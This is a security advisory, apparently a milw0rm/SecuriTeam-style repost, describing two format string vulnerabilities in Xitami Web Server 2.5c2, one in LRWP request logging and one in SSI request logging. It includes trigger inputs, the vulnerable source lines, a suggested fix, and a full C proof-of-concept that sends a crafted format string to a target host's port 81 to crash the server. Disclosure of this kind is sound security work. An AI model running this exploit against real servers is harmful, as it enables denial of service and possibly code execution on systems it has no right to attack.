|
|
|
|
| |
| Xitami Web Server is "a small, fast, and powerful multiplatform Open Source Web Server". Multiple format string vulnerabilities have been found in Xitami. These vulnerabilities exist because of the way xitami uses the SMT kernel (Simple Multi Threading kernel - another iMatix product): some user supplied data is directly passed to the vsnprintf() and vsprintf() functions inside the sendfmt() function of the SMT kernel. |
| |
Credit:
The information has been provided by bratax.
The original article can be found at: http://www.bratax.be/advisories/b013.html
|
| |
Vulnerable Systems:
* Xitami Web Server version 2.5c2
1st vulnerability: LRWP Request Processing Format String
Beginning with version 2.2a, Xitami includes a persistent CGI extension called LRWP (Long Running Web Process). LRWP is written as a WSX agent which implements a simple protocol for communicating with external processes called Peers. The peer process simply waits for the requests to come from Xitami and then responds with a valid http response, just like a CGI program.
A format string vulnerability exists in Xitami's code that logs the LRWP requests. This vulnerability may permit an attacker to execute arbitrary code, or at least cause a DoS attack, on a target machine running a vulnerable version of Xitami Web Server.
The format string can be triggered by sending a special request to the service (which listens by default on TCP port 81) in the form of:
"%s*100" + "\xFF" + "somestring" + "\xFF"
another example:
"%n" + "\xFF" + "somestring" + "\xFF"
As mentioned before, this bug is not actually located in xitami, but is caused by the way that xitami uses the vendor's "SMT kernel". If we look at the source code we can see that xitami calls the sendfmt(); function in xilrwp.c:
/* Log peer connection */
sendfmt(&operq, "INFO",
LRWP_NAME ": Peer %s connected for %s host",
tcb->rtr->name, tcb->rtr->vhost);
Inside sendfmt();, the user controlled string (tcb->rtr->name) will be passed to vsnprintf() or vsprintf(), allowing a malicious user to provide his own format strings:
#if (defined (DOES_SNPRINTF))
vsnprintf (formatted, 4096, format, argptr);
#else
vsprintf (formatted, format, argptr);
#endif
2nd vulnerability: Server Side Includes (SSI) Request Processing Format String
SSI is a simple server-side scripting language used almost exclusively for the web. Xitami provides a standard SSI filter and, by default, recognizes any document with extension '.ssi', '.shtm', or '.shtml' as an SSI document. A format string vulnerability exists in Xitami's code that logs the SSI requests. This vulnerability may permit an attacker to execute arbitrary code, or at least cause a DoS attack, on a target machine running a vulnerable version of Xitami Web Server.
The format string can be triggered by visiting the following 2 URL's after each other on the web server (which listens by default on TCP port 80):
http://localhost/%25n.ssi
http://localhost/testssi.ssi
Solution:
A possible solution is to put some input validation on the data before calling sendfmt(); Another solution is changing sendfmt(); itself.
Exploit:
/**
*
* PoC exploit for Xitami Web Server v2.5c2 LRWP processing format string bug
* Advisory is available at: http://www.bratax.be/advisories/b013.html
* (multiple vulnerabilities! check it out!)
*
* @author: bratax
* @url: http://www.bratax.be/
* @email: bratax@gmail.com
*
* Thanks to BuzzDee for learning me how to use reverse code engineering to
* find bugs & thanks to DiabloHorn as well ;-)
* Greetz to NR!
*
**/
#include <stdio.h>
#include <string.h>
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define PORT 81 // target port
int main(int argc, char *argv[]){
int sockfd;
struct hostent *he;
struct sockaddr_in their_addr;
WSADATA wsaData;
char formatstring[250];
if (argc != 2){
printf("\nXitami Web Server 2.5c2\n" );
printf("Format String PoC by bratax - http://www.bratax.be/\n\n");
printf("[+] tested on WinXP Pro SP2 & Vista\n");
printf("[+] usage: %s <hostname>\n\n", argv[0]);
return -1;
}
if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) {
fprintf(stderr, "WSAStartup failed.\n");
return -1;
}
if ((he=gethostbyname(argv[1])) == NULL){ // get the host info
perror("gethoscattbyname");
return -1;
}
if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
perror("socket");
return -1;
}
their_addr.sin_family = AF_INET; // host byte order
their_addr.sin_port = htons(PORT); // short, network byte order
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', 8); // zero the rest of the struct
if (connect(sockfd, (struct sockaddr *)&their_addr,sizeof(struct sockaddr)) == -1){
printf("[-] Connect failed.\n");
closesocket(sockfd);
return -1;
}
printf("[+] Server is listening...\n");
Sleep(1000);
/*
setup format string request:
%s*100 + \xFF + somestring + \xFF (program termination)
or:
%n + \xFF + somestring + \xFF (program crash)
*/
memset(formatstring,'\x41', sizeof(formatstring));
for (int i = 0; i<200; i+=2){
memcpy(formatstring+i, "%s", 2);
}
memcpy(formatstring+200, "\xFF", 1);
memcpy(formatstring+249, "\xFF", 1);
printf("[+] Sending format string request...");
Sleep(2000);
if (send(sockfd,formatstring,sizeof(formatstring),0) == -1) {
Sleep(2000);
printf("failed! Exiting...\n");
closesocket(sockfd);
WSACleanup();
return -1;
}
Sleep(2000);
closesocket(sockfd);
printf("done.\n");
return 0;
}
// milw0rm.com [2008-04-03]
|
|
|
|
|
|
|
|
|
|